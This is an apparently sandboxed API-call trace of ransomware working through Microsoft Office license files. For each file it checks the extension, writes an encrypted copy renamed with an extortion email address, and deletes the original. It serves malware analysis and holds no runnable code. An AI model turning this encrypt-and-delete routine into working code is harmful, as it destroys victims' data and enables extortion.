	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString=".doc") returned 4
	[0200.122] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".docx") returned 5
	[0200.122] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.123] lstrlenW (lpString=".pdf") returned 4
	[0200.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString=".xls") returned 4
	[0200.123] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString=".xlsx") returned 5
	[0200.123] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.123] lstrlenW (lpString=".ppt") returned 4
	[0200.123] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.123] lstrlenW (lpString=".zip") returned 4
	[0200.123] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString=".rar") returned 4
	[0200.123] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString=".bz2") returned 4
	[0200.123] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString=".7z") returned 3
	[0200.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.123] lstrlenW (lpString=".dbf") returned 4
	[0200.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.123] lstrlenW (lpString=".1cd") returned 4
	[0200.123] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.123] lstrlenW (lpString=".jpg") returned 4
	[0200.123] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.123] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.124] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41
	[0200.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.294] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11651) returned 1
	[0200.294] CloseHandle (hObject=0x368) returned 1
	[0200.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0200.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0200.567] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.567] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.568] GetLastError () returned 0x0
	[0200.568] ReadFile (in: hFile=0x5dc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0200.603] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0200.604] ReadFile (in: hFile=0x5dc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.604] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x126, lpOverlapped=0x0) returned 1
	[0200.604] SetEndOfFile (hFile=0x580) returned 1
	[0200.604] CloseHandle (hObject=0x580) returned 1
	[0200.607] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.607] SetEndOfFile (hFile=0x5dc) returned 1
	[0200.663] CloseHandle (hObject=0x5dc) returned 1
	[0200.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0200.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.725] lstrlenW (lpString=".doc") returned 4
	[0200.725] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".docx") returned 5
	[0200.725] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.725] lstrlenW (lpString=".pdf") returned 4
	[0200.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".xls") returned 4
	[0200.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".xlsx") returned 5
	[0200.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.725] lstrlenW (lpString=".ppt") returned 4
	[0200.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.725] lstrlenW (lpString=".zip") returned 4
	[0200.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".rar") returned 4
	[0200.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".bz2") returned 4
	[0200.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.725] lstrlenW (lpString=".7z") returned 3
	[0200.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.725] lstrlenW (lpString=".dbf") returned 4
	[0200.726] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString=".1cd") returned 4
	[0200.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString=".jpg") returned 4
	[0200.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString=".doc") returned 4
	[0200.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".docx") returned 5
	[0200.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.726] lstrlenW (lpString=".pdf") returned 4
	[0200.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".xls") returned 4
	[0200.726] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".xlsx") returned 5
	[0200.726] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.726] lstrlenW (lpString=".ppt") returned 4
	[0200.726] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString=".zip") returned 4
	[0200.726] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".rar") returned 4
	[0200.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".bz2") returned 4
	[0200.726] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.726] lstrlenW (lpString=".7z") returned 3
	[0200.726] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.726] lstrlenW (lpString=".dbf") returned 4
	[0200.727] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.727] lstrlenW (lpString=".1cd") returned 4
	[0200.727] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0200.727] lstrlenW (lpString=".jpg") returned 4
	[0200.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.727] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.727] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32
	[0200.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.728] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11179) returned 1
	[0200.728] CloseHandle (hObject=0x594) returned 1
	[0200.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220
	[0200.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.729] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.729] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.729] GetLastError () returned 0x0
	[0200.729] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0200.731] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0200.732] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.733] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0200.733] SetEndOfFile (hFile=0x500) returned 1
	[0200.733] CloseHandle (hObject=0x500) returned 1
	[0200.733] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.733] SetEndOfFile (hFile=0x594) returned 1
	[0200.736] CloseHandle (hObject=0x594) returned 1
	[0200.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1
	[0200.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.737] lstrlenW (lpString=".doc") returned 4
	[0200.737] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".docx") returned 5
	[0200.737] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.737] lstrlenW (lpString=".pdf") returned 4
	[0200.737] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".xls") returned 4
	[0200.737] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".xlsx") returned 5
	[0200.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.737] lstrlenW (lpString=".ppt") returned 4
	[0200.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.737] lstrlenW (lpString=".zip") returned 4
	[0200.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".rar") returned 4
	[0200.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".bz2") returned 4
	[0200.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.737] lstrlenW (lpString=".7z") returned 3
	[0200.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString=".dbf") returned 4
	[0200.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString=".1cd") returned 4
	[0200.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString=".jpg") returned 4
	[0200.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString=".doc") returned 4
	[0200.738] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".docx") returned 5
	[0200.738] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.738] lstrlenW (lpString=".pdf") returned 4
	[0200.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".xls") returned 4
	[0200.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".xlsx") returned 5
	[0200.738] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.738] lstrlenW (lpString=".ppt") returned 4
	[0200.738] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.738] lstrlenW (lpString=".zip") returned 4
	[0200.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".rar") returned 4
	[0200.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".bz2") returned 4
	[0200.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.738] lstrlenW (lpString=".7z") returned 3
	[0200.739] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.739] lstrlenW (lpString=".dbf") returned 4
	[0200.739] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.739] lstrlenW (lpString=".1cd") returned 4
	[0200.739] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0200.739] lstrlenW (lpString=".jpg") returned 4
	[0200.739] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.739] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.739] lstrlenW (lpString="O365HomePremR_SubTest1-ppd.xrm-ms") returned 33
	[0200.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.740] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=23134) returned 1
	[0200.740] CloseHandle (hObject=0x594) returned 1
	[0200.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220
	[0200.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.741] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.741] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.741] GetLastError () returned 0x0
	[0200.741] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0200.744] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0200.745] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.745] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0200.745] SetEndOfFile (hFile=0x500) returned 1
	[0200.745] CloseHandle (hObject=0x500) returned 1
	[0200.745] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.746] SetEndOfFile (hFile=0x594) returned 1
	[0200.749] CloseHandle (hObject=0x594) returned 1
	[0200.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString=".doc") returned 4
	[0200.751] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".docx") returned 5
	[0200.751] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.751] lstrlenW (lpString=".pdf") returned 4
	[0200.751] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".xls") returned 4
	[0200.751] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".xlsx") returned 5
	[0200.751] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.751] lstrlenW (lpString=".ppt") returned 4
	[0200.751] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString=".zip") returned 4
	[0200.751] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".rar") returned 4
